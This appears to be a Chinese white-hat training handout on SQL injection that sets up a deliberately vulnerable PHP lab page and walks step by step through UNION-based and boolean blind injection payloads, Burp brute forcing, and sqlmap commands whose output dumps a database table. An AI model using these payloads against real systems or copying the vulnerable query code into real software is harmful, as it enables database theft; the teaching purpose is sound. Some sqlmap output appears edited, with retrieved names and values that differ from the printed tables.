米斯特白帽培训讲义 漏洞篇 SQL 注入

讲师:gh0stkey

整理:飞龙

协议:CC BY-NC-SA 4.0

原理与危害

SQL 注入就是指,在输入的字符串中注入 SQL 语句,如果应用相信用户的输入而对输入的字符串没进行任何的过滤处理,那么这些注入进去的 SQL 语句就会被数据库误认为是正常的 SQL 语句而被执行。

恶意使用 SQL 注入攻击的人可以通过构建不同的 SQL 语句进行脱裤、命令执行、写 Webshell、读取度武器敏感系统文件等恶意行为。

漏洞篇 SQL注入 - 图1

以上来自乌云的案例,都是利用 SQL 注入所造成的一系列危害。

成因

首先来看这一段代码(视频中不是这段代码,因为其更适合讲解,所以用这段代码):

  1. $un = @$_POST['un'];
  2. $pw = @$_POST['pw'];
  3. // ...
  4. $sql = "select * from user where un='$un' and pw='$pw'";

可以看到代码首先从 HTTP 主体取得unpw两个参数,这两个参数显然未加过滤。之后代码将其拼接到 SQL 语句中。

如果恶意用户将un指定为任意正常内容,pw为非正常内容,那么就有被攻击的风险。比如我们将un赋为adminpw赋为' or '1'='1。则整个 SQL 语句会变为:

  1. select * from user where un='admin' and pw='' or '1'='1'

可以看到where子句对于任何用户都是恒成立的。那么我们就成功绕过了它的身份验证。

环境搭建(补充)

视频中的程序我找不到,所以还是自己搭个靶场演示吧,但是步骤是一样的。关于数据库环境我想说一下,不同数据库使用不同的配置和 SQL 方言,一个数据库上有用的方法不一定能用在另一个数据库上。但是,目前 70% 的网站都使用 MySQL,所以这篇讲义只会涉及 MySQL。

大家可以下载 DVWA 在本地建立实验环境,如果觉得麻烦,可以自己写个脚本来建立。这里教给大家如何在本地建立实验环境。

首先要在任意数据库创建一张表,插入一些数据:

  1. drop table if exists sqlinj;
  2. create table if not exists sqlinj (
  3. id int primary key auto_increment,
  4. info varchar(32)
  5. );
  6. insert into sqlinj values (1, "item #1");

这里我们创建了sqlinj表,并插入了一条数据。其实插入一条数据就够了,足以查看显示效果。

之后我们将以下内容保存为sql.php

  1. <form method="GET" action="">
  2. ID:
  3. <input type="text" name="id" />
  4. <input type="submit" value="查询" />
  5. </form>
  6. <?php
  7. // 改成自己机子上的配置:
  8. $host = '';
  9. $port = 3306;
  10. $un = '';
  11. $pw = '';
  12. $db = '';
  13. $id = @$_GET['id'];
  14. if($id == '')
  15. return;
  16. $conn = @mysql_connect($host . ':' . $port, $un, $pw);
  17. if(!$conn)
  18. die('数据库连接错误:' . mysql_error());
  19. mysql_select_db($db, $conn);
  20. $sql = "select id, info from sqlinj where id=$id";
  21. $res = mysql_query($sql, $conn);
  22. if(!$res)
  23. die('数据库错误:'. mysql_error());
  24. $num = mysql_num_rows($res);
  25. if($num == 0)
  26. {
  27. echo "<p>ID:$id</p>";
  28. echo "<p>无此记录</p>";
  29. }
  30. else
  31. {
  32. $row = mysql_fetch_row($res);
  33. echo "<p>ID:$id</p>";
  34. echo "<p>Info:${row[1]}</p>";
  35. }
  36. mysql_close($conn);

在文件目录下执行php -S 0.0.0.0:80,然后访问http://localhost/sql.php,然后就可以进行各种操作了。

手工注入:基于回显

基于回显的意思就是页面中存在显示数据库中信息的地方,通过注入我们就能把我们要查询的东西显示在页面上。一般页面中显示相关信息(比如帖子标题、内容)就能认为是基于回显的。

判断注入点

我们将id设为1 and 1=1,发现正常显示。

漏洞篇 SQL注入 - 图2

id设为1 and 1=2,显示“无此记录”。

漏洞篇 SQL注入 - 图3

那么这里就很可能出现注入点。

判断列数量

我们下一步需要判断查询结果的列数量,以便之后使用union语句。我们构造:

  1. id=1 order by ?

其中问号处替换为从 1 开始的数字,一个一个尝试它们。直到某个数字 N 报错,那么列数为 N - 1。

例如我这里,先尝试 1,没有报错:

漏洞篇 SQL注入 - 图4

尝试 2 也没有报错,然后尝试 3 的时候:

漏洞篇 SQL注入 - 图5

出现了错误,说明列数是 2。

确定显示的列

我们可以构造语句了:

  1. 1 and 1=2 union select 1,2

漏洞篇 SQL注入 - 图6

显示位置为 2 号位,而且只有一个显示位置。

查询用户及数据库名称

在 MySQL 中,current_user函数显示用户名称,database函数显示当前数据库名称。这里只有一个显示位置,为了方便起见,我们可以使用concat函数一次性显示出来。

  1. 1 and 1=2 union select 1,concat(current_user(),' ',database())

漏洞篇 SQL注入 - 图7

可以看到这里的用户名称是root,数据库名称是test。如果在真实场景下遇到,基本就可以断定是 root 权限了。

查询表的数量

MySQL 中有一个数据库叫做information_schema,储存数据库和表的元信息。information_schema中有两个重要的表,一个叫tables,储存表的元信息,有两列特别重要,table_schema是所属数据库,table_name是表名称。另一个表示columns,储存列的源信息,table_name列是所属表名称,column_name列是列名称。

  1. 1 and 1=2 union select 1,count(table_name) from information_schema.tables where table_schema=database()

漏洞篇 SQL注入 - 图8

这里我们使用count函数查询出了表的数量,一共七个。这里我们只查询当前数据库,如果要查询全部,可以把where子句给去掉。

查询表名

因为它只能显示一条记录,我们使用limit子句来定位显示哪一条。limit子句格式为limit m,n,其中m是从零开始的起始位置,n是记录数。我们构造:

  1. 1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit ?,1

我们需要把问号处换成 0 ~ 6,一个一个尝试,七个表名称就出来了。比如,我们获取第一个表的名称。

漏洞篇 SQL注入 - 图9

它叫email,在真实场景下,这里面一般就是一部分用户信息了。如果第一个表示无关紧要的信息,可以继续寻找。

查询列数量

与表数量的查询类似,我们需要把所有table换成column。我们构造:

  1. 1 and 1=2 union select 1,count(column_name) from information_schema.columns where table_name='email'

漏洞篇 SQL注入 - 图10

一共有两个。

查询列名

我们把count去掉,加上limit,就出来了:

  1. 1 and 1=2 union select 1,column_name from information_schema.columns where table_name='email' limit ?,1

同样,我们需要把问号替换为 0 和 1;

漏洞篇 SQL注入 - 图11

我们这里查询结果为,第一列叫做userid,第二列叫做email

查询行数量

  1. 1 and 1=2 union select 1, count(1) from email

漏洞篇 SQL注入 - 图12

查询记录

  1. 1 and 1=2 union select 1,concat(userid,' ',email) from email limit ?,1

我们把问号替换为 0 和 1,就得到了所有的数据。

漏洞篇 SQL注入 - 图13

手工注入:基于布尔值

在一些情况下,页面上是没有回显的。也就是说,不显示任何数据库中的信息。我们只能根据输出判断是否成功、失败、或者错误。这种情况就叫做盲注。

比如说,我们把上面的代码改一下,倒数第三行改为:

  1. echo "<p>存在此记录</p>";

这样我们就不能通过union把它显示到页面上。所以我们需要一些盲注技巧。这种技巧之一就是基于布尔值,具体来说就是,如果我们想查询整数值,构造布尔语句直接爆破;如果想查询字符串值,先爆破它的长度,再爆破每一位。

查询用户及数据库名称

基于布尔的注入中,判断注入点的原理是一样的。确定注入点之后我们直接查询用户及数据库名称(当然也可以跳过)。由于这种情况下所有查询都特别复杂,所以我们只选取其中一个,比如数据名称。

首先爆破数据库名称的长度,我们构造:

  1. 1 and (select length(database()))=?

问号处需要替换为数字,从 1 开始,直至出现正确的信息。为了简化操作,这里我们可以使用 Burp 了。

漏洞篇 SQL注入 - 图14

它的长度为 4,这里我们再构造:

  1. 1 and (select substr(database(),$1,1))=$2

我们需要把$1替换成 1 ~ 4 的整数(substr从 1 开始),把$2替换成 a ~ z 、 0 ~ 9 以及_的 ASCLL 十六进制(SQL 不区分大小写)。这里我们最好把这些十六进制值存成一个列表,便于之后使用。

之后开始爆破(类型选择cluster bomb,第一个 payload 选择number,第二个 payload 选择preset lists):

漏洞篇 SQL注入 - 图15

我们通过查表得知,结果为test

查询表的数量

  1. 1 and (select count(table_name) from information_schema.tables where table_schema=database())=?

问号处替换为从一开始的数字。我们可以看到,数量为 7。

漏洞篇 SQL注入 - 图16

查询表名

我们这里演示如何查询第一个表的表名。

首先查询表名长度。

  1. 1 and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=?

问号处换成从 1 开始的整数。长度为 5:

漏洞篇 SQL注入 - 图17

之后,再爆破每个字符。

  1. 1 and (select substr(table_name,$1,1) from information_schema.tables where table_schema=database() limit 0,1)=$2

$1配置为 1 ~ 5的整数,$2的配置为上面的列表。

漏洞篇 SQL注入 - 图18

查表可得,结果为email

查询列数量

我们下面演示查询email表的列数。

  1. 1 and (select count(column_name) from information_schema.columns where table_name='email')=?

问号处替换为从一开始的数字。我们可以看到,数量 2。

漏洞篇 SQL注入 - 图19

查询列名称

作为演示,我这里查询第二列(limit 1,1)的名称。

首先需要查询其长度:

  1. 1 and (select length(column_name) from information_schema.columns where table_name='email' limit 1,1)=?

问号处换成从 1 开始的整数。长度为 5:

漏洞篇 SQL注入 - 图20

之后爆破每个字符:

  1. 1 and (select substr(column_name,$1,1) from information_schema.columns where table_name='email' limit 1,1)=$2

$1配置为 1 ~ 5的整数,$2的配置为上面的列表。

漏洞篇 SQL注入 - 图21

结果是email

查询行数量

  1. 1 and (select count(1) from email)=?

问号处替换为从一开始的数字。我们可以看到,数量为 2。

漏洞篇 SQL注入 - 图22

查询记录

我们这里演示如何查询第一条记录的email列。

首先是长度:

  1. 1 and (select length(email) from email limit 0,1)=?

问号处替换为从一开始的数字。我们可以看到,长度为 17。

漏洞篇 SQL注入 - 图23

之后爆破每个字符:

  1. 1 and (select substr(email,$1,1) from email limit 0,1)=$2

$1配置为 1 ~ 17的整数,$2的配置为所有可见字符的十六进制 ascll 值(0x20 ~ 0x7e)。

这个时间有些长,就不演示了。

SqlMap

下载

安装 Python 之后,执行

  1. pip install sqlmap

然后

  1. C:\Users\asus> sqlmap
  2. ___
  3. __H__
  4. ___ ___[,]_____ ___ ___ {1.1#pip}
  5. |_ -| . ['] | .'| . |
  6. |___|_ [']_|_|_|__,| _|
  7. |_|V |_| http://sqlmap.org
  8. Usage: sqlmap [options]
  9. sqlmap: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), use -h for basic or -hh for advanced help
  10. Press Enter to continue...

判断注入点

直接使用-u命令把 URL 给 SqlMap 会判断注入点。

  1. sqlmap -u http://localhost/sql.php?id=

要注意这样 sqlmap 会判断所有的动态参数,要指定某个参数,使用-p

  1. sqlmap -u http://localhost/sql.php?id= -p id

结果:

  1. [*] starting at 12:05:40
  2. [12:05:40] [WARNING] provided value for parameter 'id' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
  3. [12:05:40] [INFO] testing connection to the target URL
  4. [12:05:41] [INFO] heuristics detected web page charset 'utf-8'
  5. [12:05:41] [INFO] testing if the target URL is stable
  6. [12:05:42] [INFO] target URL is stable
  7. [12:05:44] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
  8. [12:05:46] [INFO] testing for SQL injection on GET parameter 'id'
  9. it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

sqlmap 报告了参数id可能存在注入。

如果参数在 HTTP 正文或者 Cookie 中,可以使用--data <data>以及--cookie <cookie>来提交数据。

获取数据库及用户名称

--dbs用于获取所有数据库名称,--current-db用于获取当前数据库,--current-user获取当前用户。

  1. C:\Users\asus> sqlmap -u http://localhost/sql.php?id= -p id --current-db
  2. ...
  3. [12:10:44] [INFO] fetching current database
  4. [12:10:54] [INFO] retrieved: test
  5. current database: 'test'
  6. [12:10:54] [INFO] fetched data logged to text files under 'C:\Users\asus\.sqlmap\output\localhost'
  7. [*] shutting down at 12:10:54

获取表名

-D用于指定数据库名称,如果未指定则获取所有数据库下的表名。--tables用于获取表名。

  1. C:\Users\asus> sqlmap -u http://localhost/sql.php?id= -p id -D test --tables
  2. ...
  3. [12:13:25] [INFO] fetching tables for database: 'test'
  4. [12:13:28] [INFO] the SQL query used returns 7 entries
  5. [12:13:30] [INFO] retrieved: email
  6. [12:13:32] [INFO] retrieved: history
  7. [12:13:34] [INFO] retrieved: iris
  8. [12:13:36] [INFO] retrieved: message
  9. [12:13:38] [INFO] retrieved: result
  10. [12:13:40] [INFO] retrieved: sqlinj
  11. [12:13:42] [INFO] retrieved: test_table
  12. Database: test
  13. [7 tables]
  14. +------------+
  15. | email |
  16. | history |
  17. | data |
  18. | message |
  19. | result |
  20. | sqlinj |
  21. | test_table |
  22. +------------+
  23. [12:13:42] [INFO] fetched data logged to text files under 'C:\Users\asus\.sqlmap\output\localhost'
  24. [*] shutting down at 12:13:42

获取列名

-T用于指定表名,--columns用于获取列名。

  1. C:\Users\asus> sqlmap -u http://localhost/sql.php?id= -p id -D test -T email --columns
  2. ...
  3. [12:15:02] [INFO] fetching columns for table 'email' in database 'test'
  4. [12:15:04] [INFO] the SQL query used returns 2 entries
  5. [12:15:06] [INFO] retrieved: userid
  6. [12:15:08] [INFO] retrieved: varchar(16)
  7. [12:15:11] [INFO] retrieved: email
  8. [12:15:14] [INFO] retrieved: varchar(32)
  9. Database: test
  10. Table: email
  11. [2 columns]
  12. +--------+-------------+
  13. | Column | Type |
  14. +--------+-------------+
  15. | email | varchar(32) |
  16. | userid | varchar(16) |
  17. +--------+-------------+
  18. [12:15:30] [INFO] fetched data logged to text files under 'C:\Users\asus\.sqlmap\output\localhost'
  19. [*] shutting down at 12:15:30

获取记录

--dump用于获取记录,使用-C指定列名的话是获取某一列的记录,不指定就是获取整个表。

  1. C:\Users\asus> sqlmap -u http://localhost/sql.php?id= -p id -D test -T email --dump
  2. ...
  3. [12:16:59] [INFO] fetching columns for table 'email' in database 'test'
  4. [12:16:59] [INFO] the SQL query used returns 2 entries
  5. [12:16:59] [INFO] resumed: userid
  6. [12:16:59] [INFO] resumed: varchar(16)
  7. [12:16:59] [INFO] resumed: email
  8. [12:16:59] [INFO] resumed: varchar(32)
  9. [12:16:59] [INFO] fetching entries for table 'email' in database 'test'
  10. [12:17:01] [INFO] the SQL query used returns 2 entries
  11. [12:17:04] [INFO] retrieved: test2@example.com
  12. [12:17:06] [INFO] retrieved: 123
  13. [12:17:08] [INFO] retrieved: wizard.z@qq.com
  14. [12:17:10] [INFO] retrieved: 233837063867287
  15. [12:17:10] [INFO] analyzing table dump for possible password hashes
  16. Database: test
  17. Table: email
  18. [2 entries]
  19. +-----------------+-------------------+
  20. | userid | email |
  21. +-----------------+-------------------+
  22. | 123 | test2@example.com |
  23. | 233837063867287 | test@example.com |
  24. +-----------------+-------------------+
  25. [12:17:10] [INFO] table 'test.email' dumped to CSV file 'C:\Users\asus\.sqlmap\output\localhost\dump\test\email.csv'
  26. [12:17:10] [INFO] fetched data logged to text files under 'C:\Users\asus\.sqlmap\output\localhost'
  27. [*] shutting down at 12:17:10

文本型注入点

上面我们一直在讲解数值型注入点,如果我们把 SQL 语句

  1. $sql = "select id, info from sqlinj where id=$id";

改为

  1. $sql = "select id, info from sqlinj where id='$id'";

那么在测试的时候就会出现1=11=2都存在的情况。

1.jpg

2.jpg

这时我们就不知道它是过滤了还是真的有注入点。所以我们可以修改参数,用一个单引号闭合前面的引号,再用一个注释符号(#或者--)来注释掉后面的引号:

  1. 1' and 1=1 #
  2. 1' and 1=2 #
  3. 1' order by ? #
  4. ...

附录